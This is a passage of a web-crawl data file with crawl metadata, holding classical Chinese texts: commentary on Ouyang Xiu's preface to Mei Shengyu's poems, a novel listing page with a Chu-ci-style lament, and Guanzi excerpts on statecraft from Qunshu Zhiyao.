○點出遭遇、正寫其窮。其家宛陵、幼習於詩。自爲童子、出語已驚其長老。旣長、學乎六經仁義之說。其爲文章、簡古純粹、不求茍說於世、世之人徒知其詩而已。點出文章、爲詩作陪引。然時無賢愚、語詩者必求之聖俞。聖俞亦自以其不得志者、樂於詩而發之。故其平生所作、於詩尤多。方正點出詩。世旣知之矣、而未有薦於上者。昔王文康公嘗見而歎曰、二百年無此作矣。雖知之深、亦不果薦也。若使其幸得用於朝廷、作爲雅頌以歌詠大宋之功德、薦之清廟、而追商周魯頌之作者、豈不偉歟。奈何使其老不得志而爲窮者之詩、乃徒發於蟲魚物類、羇愁感歎之言。世徒喜其工、不知其窮之久而將老也、可不惜哉。此段正寫聖俞之詩、窮而後工。如敍事、如發論、開合照應。盡態極妍、亦復感慨無限。聖俞詩旣多、不自收拾。其妻之兄子謝景初、懼其多而易失也、取其自洛陽至於吳興以來所作、次爲十卷。予嘗嗜聖俞詩、而患不能盡得之。遽喜謝氏之能類次也、輒序而藏之。結出作序意。其後十五年、聖俞以疾卒於京師。余旣哭而銘之、因索於其家、得其遺稿千餘篇、并舊所藏、掇端入聲、其尤者、六百七十七篇、爲一十五卷。記所集篇數。嗚呼、吾於聖俞詩、論之詳矣。故不復云。言于聖俞詩中、已論之詳。故于序中、不復言其所以工也。 ○惘然不盡。\n窮而後工四字、是歐公獨創之言、實爲千古不易之論。通篇寫來、低昂頓折、一往情深。若使其幸得用于朝廷一段、尤突兀爭奇。","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/neodu.com\/%E3%80%8A%E6%A2%85%E8%81%96%E4%BF%9E%E8%A9%A9%E9%9B%86%E5%BA%8F%E3%80%8B%E7%B9%81%E9%AB%94%E5%AD%97%E7%89%88.html","date":"2020-10-21T05:20:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107875980.5\/warc\/CC-MAIN-20201021035155-20201021065155-00017.warc.gz","language":"lzh","language_score":0.4309150577,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.43091505765914917, \"cmn_Hani_score\": 0.27062082290649414, \"jpn_Jpan_score\": 0.06525451689958572, \"nan_Hani_score\": 0.0386083647608757, \"wuu_Hani_score\": 0.02873123623430729, \"zxx_Latn_score\": 0.0232401043176651, \"yue_Hani_score\": 0.02057860791683197, \"und_Tang_score\": 0.017195845022797585, \"und_Xsux_score\": 0.014713731594383717}","num_words":9,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.431,"perplexity_score":500.0,"cluster_detection":1} +{"text":"功乃心 667萬字 2人讀過 全本\n伊昔放逐兮,渡江濤而南遷。去家千里兮,生無所歸,而死無以為墳。悲夫!人固有一死兮,處死之為難。徘徊江上,欲去而未決兮,俯千仞之驚湍。賦《懷沙》以自傷兮,嗟乎獨何以為心!忽終章之慘烈兮,逝①將去此而沉吟。吾豈不能高舉而遠游兮,又豈不能退默而深居?獨嗷嗷其怨慕兮,恐君臣之愈疏。生既不能力爭而強諫兮,死猶冀其感發而改行。茍宗國之顛覆兮,吾亦獨何愛于久生?托江神以告冤兮,馮夷教之以上訴。歷九關②而見帝兮,帝亦悲傷而不能救。懷瑾佩蘭而無所歸兮,獨煢煢乎中浦。\n最新章節:第29章 洛蘭帝娜(1個月前)\n更新時間:8個月前\n《洛蘭帝娜》所有內容均來自互聯網或網友上傳,只為原作者羽千凰的小說進行宣傳。歡迎各位書友支持羽千凰并收藏《洛蘭帝娜》最新章節。","id":"","dump":"CC-MAIN-2021-10","url":"http:\/\/www.espalion-12.com\/ebook\/785.html","date":"2021-03-04T15:11:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178369420.71\/warc\/CC-MAIN-20210304143817-20210304173817-00023.warc.gz","language":"lzh","language_score":0.4732373059,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4732373058795929, \"cmn_Hani_score\": 0.3512418866157532, \"nan_Hani_score\": 0.07640256732702255, \"yue_Hani_score\": 0.04795578494668007, \"jpn_Jpan_score\": 0.019034193828701973, \"wuu_Hani_score\": 0.011636017821729183}","num_words":9,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.183,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.578,"perplexity_score":500.0,"cluster_detection":1} +{"text":"管 子\n群书治要卷三十二\n牧 民\n凡有地牧民者。务在四时。守在仓廪。仓廪实则知礼节。衣食足则知荣辱。上服度则六亲固。四维张则君令行。四维不张。国乃灭亡。国有四维。一维绝则倾。二维绝则危。三维绝则覆。四维绝则灭。倾可正也。危可安也。覆可起也。灭不可复错也。\n四维。一曰礼。二曰义。三曰廉。四曰耻。政之所行(本书行作兴)。在顺民心。政之所废。在逆民心。民恶忧劳。我逸乐之。民恶贫贱。我富贵之。民恶危坠。我存安之。民恶灭绝。我生育之。能逸乐之。则民为之忧劳。能富贵之。则民为之贫贱。能存安之。则民为之危坠。能生育之。则民为之灭绝。故刑罚不足以恐其意。杀戮不足以服其心。故刑罚繁而意不恐。则令不行矣。杀戮众而心不服。则上位危矣。故从其四欲。则远者自亲。行其四恶。则近者叛之。故知与之为取者。政之宝也。\n措国于不倾之地。积于不凋(凋作涸)之仓。藏于不竭之府。下令于流水之原。使民于不争之官。明必死之路。开必得之门。不为不可成。不求不可得。不处不可久。不行不可复。措国于不倾之地。授有德也。积于不凋之仓。务五谷也。藏于不竭之府。养桑麻、育六畜也。下令于流水之原。令顺民心也。使民于不争之官。使民各为其所长也。明必死之路。严刑罚也。开必得之门。信庆赏也。不为不可成。量民力也。不求不可得。不强民以其所恶也。不处不可久。不偷取壹世也。不行不可复。不欺其民也。\n如地如天。何私何亲。如月如日。维君之节。御人之辔。在上之所贵。导民之门。在上之所先。召民之路。在上之所好恶。故君求之则臣得之。君嗜之则臣食之。君好之则臣服之。无蔽汝恶。无异汝度。贤者将不汝助。言室满室。言堂满堂。是谓圣王。城郭沟渠。不足以固守。兵甲勇力。不足以应敌。博地多财。不足以有众。唯有道者。能备患于未形也。天下不患无臣。患无君以使人(人作之)。天下不患无财。患无人以分之。故知时者可立以为长。无私者可置以为政。审于时而察于用而能备官者。可奉以为君也。缓者后于事。吝于财者失所亲。信小人者失士。\n形 势\n言而不可复者。君不言也。行而不可再者。君不行也。凡言而不可复。行而不可再者。有国者之大禁也。\n权 修\n万乘之国。兵不可以无主。土地博大。野不可以无吏。百姓殷众。官不可以无长。操民命。朝不可以无政。地博而国贫者。野不辟也。民众而兵弱者。民无取也。故末产不禁。则野不辟。赏罚不信。则民无取。野不辟。民无取。外不可以应敌。内不可以固守。地辟而国贫者。舟舆饰。台榭广也。赏罚信而兵弱者。轻用众。民使劳也。民劳则力竭。赋敛厚则下怨上。民力竭则令不行。下怨上。令不行。而求敌勿谋己。不可得也。\n欲为天下者。必重用其国。欲为其国者。必重用其民。欲为其民者。必重尽其力。无以畜之。则往而不可止也。无以牧之。则处而不可使也。远人至而不去。则有以畜之也。民众而可壹。则有以牧之也。见其可也。喜之有征。见其不可也。恶之有刑。赏罚信于其所见。虽其所不见。其敢为之乎。见其可也。喜之无征。见其不可也。恶之无刑。赏罚不信于其所见。而求其所不见之为之化。不可得也。\n地之生财有时。民之用力有倦。而人君之欲无穷。以有时与有倦。养无穷之君。而度量不生于其间。则上下相疾矣。故取于民有度。用之有正(正作止)。国虽小必安。取于民无度。用之无正(正作止)。国虽大必危。身者治之本也。故上不好本事。则末产不禁。末产不禁。则民缓于时事而轻地利。轻地利而求田野之辟。仓廪之实。不可得也。商贾在朝。则货财上流。妇言人事。则赏罚不信。男女无别。则民无廉耻。而求百姓之安(安下有难字)。兵士之死节。不可得也。\n朝廷不肃。贵贱不明。长幼不分。度量不审。衣服无等。下贱侵节(下贱侵节作上下凌节)。而求百姓之尊主政令。不可得也。上好诈谋闲欺。臣下赋敛竞得。使民偷壹。则百姓疾怨。而求下之亲上。不可得也。有地不务本事。君国不能壹民。而求宗庙社稷之无危。不可得也。一年之计。莫如树谷。十年之计。莫如树木。终身之计。莫如树人。\n立 君(立君作立政)\n君之所审者三。一曰德不当其位。二曰功不当其禄。三曰能不当其官。此三本者。治乱之原也。故国有德义未明于朝者。则不可加于尊位。功力未见于国者。则不可与重禄。临事不信于民者。则不可使任大官。故德厚而位卑者谓之过。德薄而位尊者谓之失。宁过于君子。而无失于小人。过于君子。其为怨浅矣。失于小人。其为祸深矣。\n君之所慎者四。一曰大位(位作德)不至仁。不可授国柄。二曰见贤不能让。不可与尊位。三曰罚避亲贵。不可使主兵。四曰不好本事。不务地利。而轻赋敛。不可与都邑。此四务者。安危之本也。故曰。卿相不得众。国之危也。大臣不和同。国之危也。兵主不足畏。国之危也。民不怀其产。国之危也。故大德至仁。则操国得众。见贤能让。则大臣和同。罚不避亲贵。则威行于邻敌。好本事。务地利。则民怀其产矣。\n七 法\n言是而不能立。言非而不能废。有功而不能赏。有罪而不能诛。若是而能理民者。未之有也。是必立。非必废。有功必赏。有罪必诛。若是。治安矣。\n五 辅\n古之圣王。所以取明名广誉。厚功大业。显于天下。不忘于后世。非得人者。未之尝闻也。暴主之所以失国家。危社稷。覆宗庙。灭于天下。非失人者。未之尝闻也。今有土之君。皆处欲安。动欲威。战欲胜。守欲固。大者欲王天下。小者欲霸诸侯。而不务得人。是以小者兵挫而地削。大者身死而国亡。故曰。人不可不务也。此天下之极也。\n曰。然则得人之道。莫如利之。利之道。莫如教之。故善为政者。田畴垦而国邑实。朝廷闲而官府治。公法行而私曲止。仓廪实而囹圄空。贤人进而奸民退。其君子上忠正而下谄谀。其士民贵武勇而贱得利。其庶人好耕农而恶饮食。于是财用足而食饮薪菜饶。是故上必宽裕而有解舍。下必听从而不疾怨。上下和同而有礼义。故处安而动威。战胜而守固。\n不能为政者。田畴荒而国邑虚。朝廷凶而官府乱。公法废而私曲行。仓廪虚而囹圄实。贤人退而奸民进。其君子上谄谀而下忠正。其士民贵得利而贱武勇。其庶人好饮食而恶耕农。于是财用匮而食饮薪菜乏。上弥残苟而无解舍。下愈覆鸷而不听从(旧无其庶人至听从三十七字。补之)。上下交引而不和同。故处不安而动不威。战不胜而守不固。是以小者兵挫而地削。大者身死而国亡。以此观之。则政不可不慎也。\n法 法\n闻贤而不举。殆也。闻善而不索。殆也。见能而不使。殆也。亲仁而不固、殆也。同谋而离、殆也。人主不周密。则正言直行之士危。正言直行之士危。则人主孤而无内。人主孤而无内。则人臣党而成群。使人主孤而无内。人臣党而成群者。此非人臣之罪也。人主之过也。号令已出又易之。礼义已行又止之。度量已制又迁之。刑法已措又移之。如是。则赏庆虽重。民不劝也。杀戮虽繁。民不畏也。使贤者食于能。斗士食于功。贤者食于能。则上尊而民从。斗士食于功。则卒轻患而傲敌。二者设于国。则天下治而主安矣。\n凡赦者。小利而大害者也。故久而不胜其祸。无赦者。小害而大利者也。故久而不胜其福。故赦者。奔马之委辔也。无赦者。痤疽之砭石也。先王制轩冕。足以着贵贱。不求其观也。使君子食于道。小人食于力。君子食于道。则上尊而民顺。小人食于力。则财厚而养足。\n凡人君之所以为君者。势也。势在下则君制于臣。势在上则臣制于君。故君臣之易位。势在下也。故曰。堂上远于百里。堂下远于千里。门廷远于万里。今步者一日。百里之情通矣。堂上有事。十日而君不闻。此所谓远于百里也。步者十日。千里之情通矣。堂下有事。一月而君不闻。此所谓远于千里也。步者百日。万里之情通矣。门廷有事。朞年而君不闻。此所谓远于万里也。故请入而不出谓之灭。出而不入谓之绝。入而不至谓之侵。出而道止谓之壅。灭绝侵壅之君者。非杜其门而守其户也。为政之有所不行也。\n政者。正也。圣人明正以治国。故正者所以止过而逮不及也。过与不及。皆非正也。非正。则伤国一也。勇而不义伤兵。仁而不法伤正。故军之败也。生于不义。法之侵也。生于不正。故言有辩而非务者。行有难而非善者。故言必中务。不苟为辩。行必思善。不苟为难。\n规矩者。方圆之正也。虽有巧目利手。不如拙规矩之正方圜也。故巧者能生规矩。不能废规矩而正方圜。圣人能生法。不能废法而治国。故虽有明智高行。背法而治。是废规矩而正方圜也。贤人不至谓之蔽。忠臣不至(至作用)谓之塞。令之不行谓之障。禁而不止谓之逆。蔽塞障逆之君者。不杜其门而守其户也。为贤者之不至。令之不行也。\n凡民从上也。不从口之所言。从情之所好也。上好勇则民轻死。上好仁则人轻财。故上之所好。民必甚焉。是故明君知民之必以上为心也。故置法以自治。立义(义作仪)以自正也。故上不行则民不从。是以有道之君。行法修制。公国壹民。以听于世。忠臣直进。以论其能。明君不以禄爵私所爱。忠臣不诬能以干爵禄。君不私国。臣不诬能。行此道者。虽未大治。正民之径(径作经)也。\n中 匡\n管仲朝。公曰。寡人愿闻国君之信。对曰。民爱之。邻国亲之。天下信之。此国君之信。公曰。善。请问信安始而可。对曰。始于为身。中于为国。成于为天下。公曰。请问为身。对曰。道血气以求长年、长心、长德。此为身也。远举贤人。慈爱百姓。此为国也。法行而不苛。刑廉而不赦。此为天下也。\n小 匡\n桓公自莒反于齐。使鲍叔牙为宰。辞曰。君有加惠于其臣。使臣不冻餧。则是君之赐也。若必治国家。则非臣之所能也。其唯管夷吾乎。臣之所不如管夷吾者五。宽惠爱民。臣不如也。治国不失柄。臣不如也。忠信可结于诸侯。臣不如也。制礼义可法于四方。臣不如也。介胄执枹。立于军门。使百姓皆加勇。臣不如也。夫管子、民之父母也。将欲治其子。不可以弃其父母。公曰。管夷吾亲射寡人中钩。殆于死。今乃用之、可乎。鲍叔曰。彼为其君也。君若宥而反之。其为君亦犹是也。公使人请之鲁。囚管仲以与齐。桓公亲迎之郊。遂与归。礼之于庙而问为政焉。\n管仲相三月。请论百官。公曰。诺。管仲曰。升降揖让。进退闲习。臣不如隰朋。请立以为大行。辟土聚粟。尽地之利。臣不如宁戚。请立以为司(司上有大字)田。平原广牧。车不结辙。士不旋踵。鼓之而三军之士视死如归。臣不如王子城父。请立以为大司马。决狱折中。不杀不辜。不诬无罪。臣不如宾胥无。请立以为大(大下有司字)理。犯君颜色。进谏必忠。不避死亡。不挠贵富。臣不如东郭牙。请立以为大谏之官。此五子者。夷吾一不如。然君若欲治国强兵。则五子者存。若欲霸王。夷吾在此。桓公曰。善。\n霸 形\n桓公在位。管仲、隰朋见。立有间。有贰鸿飞而过之。桓公叹曰。今彼鸿鹄有时而南。有时而北。四方无远。所欲至焉。寡人之有仲父。犹飞鸿之有羽翼也。若济大水有舟楫也。仲父不壹言教寡人乎。管子对曰。君若将欲霸王举大事乎。则必从其本事矣。桓公曰。敢问何谓其本。管子对曰。齐国百姓。公之本也。民甚忧饥。而税敛重。民甚惧死。而刑政险。民甚伤劳而上举事不时。轻其税敛。则民不忧饥。缓其刑政。则民不惧死。举事以时。则民不伤劳。桓公曰。寡人闻命矣。\n霸 言\n夫明王之所轻者马与玉。其所重者。政与军。然轻与人政而重与人马。轻与人军而重与人玉。重宫阙(阙作门)之劳(劳作营)而轻四境之守。其所以削也。圣人能辅时。不能违时。智者善谋。不如当时。精时者日少而功多。夫谋无主则困。事无备则废。是以圣王务具其备。而慎守其时。以备待时。以时兴事。德利百姓。威振天下。令行而不咈。近无不服。远无不听。\n戒\n管仲复于桓公曰。任之重者莫如身。涂之畏者莫如口。期之远者莫如年。以重任行畏涂至远期。唯君子为能及矣。\n君 臣\n国之所以乱者四。内有疑妻之妾。此宫乱也。庶有疑嫡之子。此家乱也。朝有疑相之臣。此国乱也。任官无能。此众乱也。四者无别。主失其体。群官朋党。以怀其私。则失强(强作族)矣。故妻必定。子必正。相必直立以听。官必忠信以敬。\n小 称\n管子曰。身不善之患。无患人莫己知。民之观也察矣。不可遁逃。故我有善则立誉我。我有过则立毁我。当人之毁誉也。则莫归问于家矣。故明王有过。则反之于身。有善。则归之于民。有过而反之身。则身惧。有善而归之民。则民喜。往喜民。来惧身。此明王之所以治民也。今夫桀纣则不然。有善则反之于身。有过则归之于民。有过而归之于民。则民怒。有善而反之于身。则身骄。往怒民。来骄身。此其所以失身也。可无慎乎。\n管仲有病。桓公往问之曰。仲父之病。病矣。若不可讳。将何以诏寡人。管仲对曰。臣愿君之远易牙、竖刁、堂巫、公子开方。夫易牙以调味事公。公曰。唯烝婴儿之未尝也。于是烝其首子而献之公。人情非不爱其子也。于子之不爱。将何有于公。公喜宫而妒。竖刁自刑而为公治内。人情非不爱其身也。于身之不爱。将何有于公。公子开方事公十五年。不归视其亲。于亲之不爱。焉能有于公。桓公曰。善。\n管仲死。已葬。公召(召作憎)四子者废之。逐堂巫而苛病起。逐易牙而味不至。逐竖刁而宫中乱。逐公子开方而朝不治。桓公曰。嗟。圣人固有悖乎。乃复四子者。处期年。四人作难。围公一室。十日不通。公曰。嗟。死者无知则已。若有知。吾何面目以见仲父于地下。乃援素幭以裹首而绝。死十一日。虫出于户。葬以扬门之扇。以不终用贤也。\n桓公、管仲、鲍叔牙、宁戚四人饮。饮酣。桓公谓叔牙曰。盍不起为寡人寿乎。叔牙奉杯而起曰。使公无忘出而在于莒。使管仲无忘束缚在于鲁也。使宁戚无忘饭牛车下也。桓公避席再拜曰。寡人与二大夫。能无忘夫子之言。则国之社稷必不危矣。\n治 国\n凡治国之道。必先富民。民富则易治也。民贫必(必作则)难治。奚以知其然也。民富则安乡重家。安乡重家则敬上畏罪。敬上畏罪则易治也。民贫则危乡轻家。危乡轻家则敢凌上犯禁。凌上犯禁则难治也。故曰。治国常富而乱国必(必作常)贫。是以善为国者。必先富民。然后治之。昔者。七十九代之君。法制不壹。号令不同。然具王天下者。何也。必国富而粟多也。夫富国多粟。生于农。故先王贵之。凡为国之急者。必先禁末作文巧。末作文巧禁。则民无所游食。民无所游食。则必农。民事农则富。\n先王者善为民除害兴利。故天下之民归之。所谓兴利者。利农事也。所谓除害者。禁害农事也。国富则安乡家。安乡家则虽变俗易习。敺众移民。至于杀之。而不怨也。民贫则轻家易去。轻家易去。则上令不能必行(必行下旧无上令至必止十二字。补之)。上令不能必行。则禁不能必止。禁不能必止。则战不必胜。守不必固矣。夫令不必行。禁不必止。战不必胜。守不必固。命之曰。寄生之君。此由不利农少粟之害也。粟者。王者之本事也。人主之大务。治国之道也。\n桓公问\n齐桓公问管子曰。吾念有而勿失。得而勿忘。为之有道乎。对曰。勿创勿作。时至而随。无以私好恶害公正。察民所恶以自为戒。黄帝立明台之议。尧有衢室之问。舜有告善之旌。禹立谏鼓于朝。汤有总街之庭。以观民诽也。此古圣帝明王所以有而勿失。得而勿忘者也。\n形势解(旧无解字。加之)\n人主之所以令则行。禁则止者。必令于民之所好。而禁于民之所恶也。民之情莫不欲生而恶死。莫不欲利而恶害也。故上令于生利人则令行。禁于杀害人则禁止矣。令之所以行者。必民乐其政也。而令乃行。故曰。贵有以行令也。\n人主之所以使下尽力而亲上者。必为天下致利除害也。故德泽加于天下。惠施厚于万物。父子得以安。群生得以育。故万民欢尽其力而乐为上用。入则务本疾作。以实仓廪。出则尽节死敌。以安社稷。虽劳苦卑辱。而不敢告也。民利之则来。害之则去。民之从利也。如水之走下。于四旁无择也。故欲来民者。先起其利。虽不召而民自至。设其所恶。虽召之而民不可来也。莅民如父母。则民亲爱之。导民(民作之)纯厚。遇之有实。虽不言曰吾亲民。而民亲矣。莅民如仇雠。则民疏之。导之不厚。遇之无实。虽言曰吾亲民。民不亲也。\n圣人择可言而后言。择可行而后行。偷得利而后有害。偷得乐而后有忧者。圣人不为也。故圣人择言必顾其累。择行必顾其忧。\n圣人之求事也。先论其理义。计其可否。故义则求之。不义则止。可则求之。不可则止。故其所得事者。常为身宝。小人(人下有之)求事也。不论其理义。不计其可否。不义亦求之。不可亦求之。故其所得事者。未尝为赖也。故曰。必得之事不足赖也。\n人主者。温良宽厚。则民爱之。整齐严庄。则民畏之。故民爱之则亲。畏之则用。夫民亲而为用。主之所急也。故曰。且怀且威。则君道备矣。\n人主能安其民。则民事其主。如事其父母。故主有忧则忧之。有难则死之。人主视民如土。则民不为用。主有忧则不忧。有难则不死。故曰。莫乐之则莫哀之。莫生之则莫死之。\n民之所以守战至死而不衰者。上之所以加施于民者厚也。故上施厚则民之报上亦厚。上施薄则民之报上亦薄。故薄施而厚责。君不能得于臣。父不能得于子。\n民之从有道也。如饥之先食也。如寒之先衣也。如暑之先阴也。故有道则民归之。无道则民去之。故道在身则言自顺。行自正。事君自忠。事父自孝。遇人自理。天之道满而不溢。盛而不衰。明主法象天道。故贵而不骄。富而不奢。故能长守富贵。久有天下而不失也。故曰。持满者与天。\n明主救天下之祸。安天下之危者也。必待万民之为用也。而后能为之。故曰。安危者与人。地大国富。民众兵强。此盛满之国也。虽已盛满。无德厚以安之。无度数以治之。则国非其国。而民非其民也。故曰。失天之度。虽满必涸。臣不亲其主。百姓不信其吏。上下离而不和。故虽自安。必且危之。故曰。上下不和。虽安必危。\n古者。三王五伯。皆人主之利天下者也。故身贵显而子孙被其泽。桀、纣、幽、厉。皆人主之害天下者也。故身困伤而子孙蒙其祸。故曰。疑今者察之古。不知来者视之往。\n古者。武王地方不过百里。战卒之众不过万人。然能战胜攻取。立为天子。而世谓之圣王者。知为之术也。桀、纣贵为天子。富有海内。地方甚大。战卒甚众。然而身死国亡。为天下戮者。不知为之术也。故能为之则小可以为大。贱可以为贵。不能为之。则虽为天子。人犹夺之。\n明主度量人力之所能为而后使焉。故令于人之所能为则令行。使于人之所能为则事成。乱主不量人力。令于人之所不能为。故其令废。使于人之所不能为。故其事败。夫令出而废。举事而败。此强不能之罪也。\n明主不用其智而任圣人之智。不用其力而任众人之力。故以圣人之智思虑者。无不知也。以众人之力起事者。无不成也。能自去而因天下之智力起。则身逸而福多。乱主独用其智而不任圣人之智。独用其力。而不任众人之力。故其身劳而祸多。故曰。独任之国(国旧作图。改之)。劳而多祸。\n明主者。人未之见。而皆有亲心焉者。有使民亲之之道也。故其位安而民往之。故曰。未之见而亲焉。可以往矣。\n人主出言不逆于民心。不悖于理义。其所言足以安天下者也。人唯恐其不复言也。出言而离父子之亲。疏君臣之道。害天下之众。此言之不可复者也。故明君不言也。\n人主身行方正。使人有理。遇人有礼。行(旧无行字。补之)发于身。而为天下法式。人唯恐其不复行也。身行不正。使人暴虐。遇人不信。行发于身。而为天下笑者。此不可复之行也。故曰。行而不可再者。君不行也。\n言之不可复者。其言不信也。行之不可再者。其行暴贼也。故言而不信。则民不附。行而暴贼。则天下怨。民不附。天下怨。此灭亡之所从生也。故明主禁之。故曰。凡言行之不可复者。有国者之大禁也。\n板法解\n治国有三器。乱国有六攻。明君能胜六攻而立三器。故国治。不肖君不能胜六攻而立三器。故国不治。三器者何也。曰。号令也。斧钺也。禄赏也。六攻者何也。曰。亲也。贵也。货也。色也。巧佞也。玩好也。三器之用何也。曰。非号令无以使下。非斧钺无以威众。非禄赏无以劝民。六攻之败何也。曰。虽不听而可以得存。虽犯禁而可以得免。虽无功而可以得富。夫国有不听而可以得存者。则号令不足以使下。有犯禁而可以得免者。则斧钺不足以威众。有无功而可以得富者。则禄赏不足以劝民。号令不足以使下。斧钺不足以威众。禄赏不足以劝民。则人君无以自守也。\n明法解\n明主者。审于法禁而不可犯也。察于分职而不可乱也。故群臣不敢行其私。贵臣不得蔽贱。近者不得塞远。孤寡老弱。不失其职。此之谓治国。故曰。所谓治国者。主道明也。\n法度者。主之所以制天下而禁奸邪也。私意者。所以生乱长奸而害公正也。故法度行则国治。私意行则国乱。明主虽心之所爱而无功者弗赏也。虽心之所憎而无罪者弗罚也。案法式而验得失。非法度不留意焉。故曰。先王之治国也。不淫意于法之外。\n明主之治国也。案赏罚(赏罚作其当宜)。行其正理。其当赏者。群臣不得辞也。其当罚者。群臣弗敢避也。夫赏功诛罪者。所以为天下致利除害也。草茅弗去。则害禾谷。盗贼弗诛。则伤良民。夫舍公法而行私惠。则是利奸邪而长暴乱也。行私惠而赏无功。则是使民偷幸而望于上也。行私惠而赦有罪。则是使民轻上而易为非也。夫舍公法。用私惠。明主弗为也。故曰。不为惠于法之内。\n权衡者。所以起轻重之数也。然而人弗事者。非心恶利也。权不能为之多少其数。而衡不能为之轻重其量也。人知事权衡之无益。故弗事也。故明主在上位。则官不得枉法。吏不得为私。民知事吏之无益。故货财不行于吏。权衡平正而待物。故奸诈之人不得行其私。故曰。有权衡之称者。不可欺以轻重也。\n尺寸寻丈者。所以得短长之情也。故以尺寸量短长。则万举而万不失矣。是故尺寸之度。虽富贵众强。不为益长。虽卑辱贫贱。弗为损短。公平而无所偏。故奸诈之人弗能误也。故曰。有寻丈之数者。不可差以长短。\n凡所谓忠臣者。务明法术。日夜佐主明于度数之理以治天下者也。奸邪之臣。知法术明之必治也。治则奸臣困而法术之士显。是故奸邪之所务事者。使法无明。主无寤。而己得所欲也。故方正之臣得用。则奸邪之臣困伤矣。是方正之与奸邪。不两进之势也。奸邪之在主之侧者。不能勿恶之。惟恶之则必候主间而日夜危之。人主弗察而用其言。则忠臣无罪而困死。奸臣无功而富贵。故曰。忠臣死于非罪。而邪臣起于非功。\n富贵尊显。久有天下。人主莫弗欲也。令行禁止。海内无敌。人主莫弗欲也。蔽欺侵陵。人主莫不恶也。失天下。灭宗庙。人主莫不恶也。忠臣之欲明法术。以致主之所欲。而除主之所恶者也。奸臣之擅主也。有以私危之。则忠臣无从进其公正之数矣。故曰。所死者非罪。所起者非功。然则为人臣者重私而轻公矣。\n明主之择贤人也。言勇者试之以军。言智者试之以官。试于军而有功者则举之。试于官而事治者则用之。故以战攻之事定勇怯。以官职之治定愚智。故勇怯愚智之见也。如白黑之分。乱主则不然。听言而不试。故妄言者得用。任人而不课。故不肖者不困。故明主以法案其言而求其实。以官任其身而课其功。专任法不自举焉。故曰。先王之治国也。使法择人。弗自举也。\n凡所谓功者。安主上。利万民者也。夫破军杀将。战胜攻取。使主无危亡之忧。而百姓无死虏之患。此军士之所以为功者也。奉主法。治境内。使强不凌弱。众不暴寡。万民欢尽其力。而奉养其主。此吏之所以为功也。匡主之过。救主之失。明理义以导其主。主无邪僻之行。蔽欺之患。此臣之所以为功也。故明主之治也。明分职而课功劳。有功者赏。乱治者诛。诛赏之所加。各得其宜。而主不自与焉。故曰。使法量功。不自度也。\n明主之治也。审是非。察事情。以度量案之。合于法则行。不合于法则止。功充其言则赏。不充则诛。故言智能者。必有见功而后举之。言恶败者。必有见过而后废之。如此。则士上通而莫之能妒。不肖者困废而莫之能举。故曰。能不可蔽。而败不可饰也。\n轻 重\n管子入复桓公曰。终岁之租金四万二千金。请以一朝素赏军士。桓公即(即作曰)。诺。期于泰舟之野朝军士。桓公即坛而立。管子执枹而揖军士曰。谁能陷阵破众者。赐之百金。三问不对。有一人秉剑而前。问曰。几何人之众也。管子曰。千人之众。曰。千人之众。臣能陷之。赐之百金。管子又曰。兵接弩张。谁能得卒长者。赐之百金。问曰。几何人卒之长也。管子曰。千人之长。千人之长(旧无千人之长四字。补之。千人上疑脱曰字)。臣能得之。赐之百金。管子又曰。谁能听旌旗之所指。而得执将首者。赐之千金。言能得者累千人。赐之人千金。其余言能外斩首者。赐之人十金。一朝素赏四万二千金。廓然虚。\n桓公惕然大息曰。吾曷以识此。管子曰。君勿患。且使外为名于其内。乡为功于其亲。家为德于其妻子。若此。则士必争名报德。无北之意矣。吾举兵而攻。破其军。并其地。则非特四万二千金之利也。公曰。诺。\n乃戒大将曰。百人之长。必为之朝礼。千人之长。必拜而送之。降两级。其有亲戚者。必遗之酒四石、肉四鼎。其无亲戚者。必遗其妻子酒三石、肉三鼎。行教半岁。父教其子。兄教其弟。妻谏其夫。曰。见礼若此。不死列阵。可以反于乡乎。\n桓公终举兵攻莱。战于莒。鼓旗未相望。而莱人大遁。故遂破其军。兼其地而虏其将。故未列地而封。未出金而赏。破莱军。并其地。禽其君。此素赏之计也。","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/lingdaoli.com\/docs\/guangzi-on-leadership\/","date":"2021-07-26T00:41:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046151972.40\/warc\/CC-MAIN-20210726000859-20210726030859-00543.warc.gz","language":"lzh","language_score":0.4360240698,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.4360240697860718, \"cmn_Hani_score\": 0.34354281425476074, \"nan_Hani_score\": 0.05852115526795387, \"jpn_Jpan_score\": 0.049721114337444305, \"wuu_Hani_score\": 0.042088862508535385}","num_words":105,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.019,"flagged_words_ratio":0.0,"lang_id_score":0.436,"perplexity_score":500.0,"cluster_detection":1} 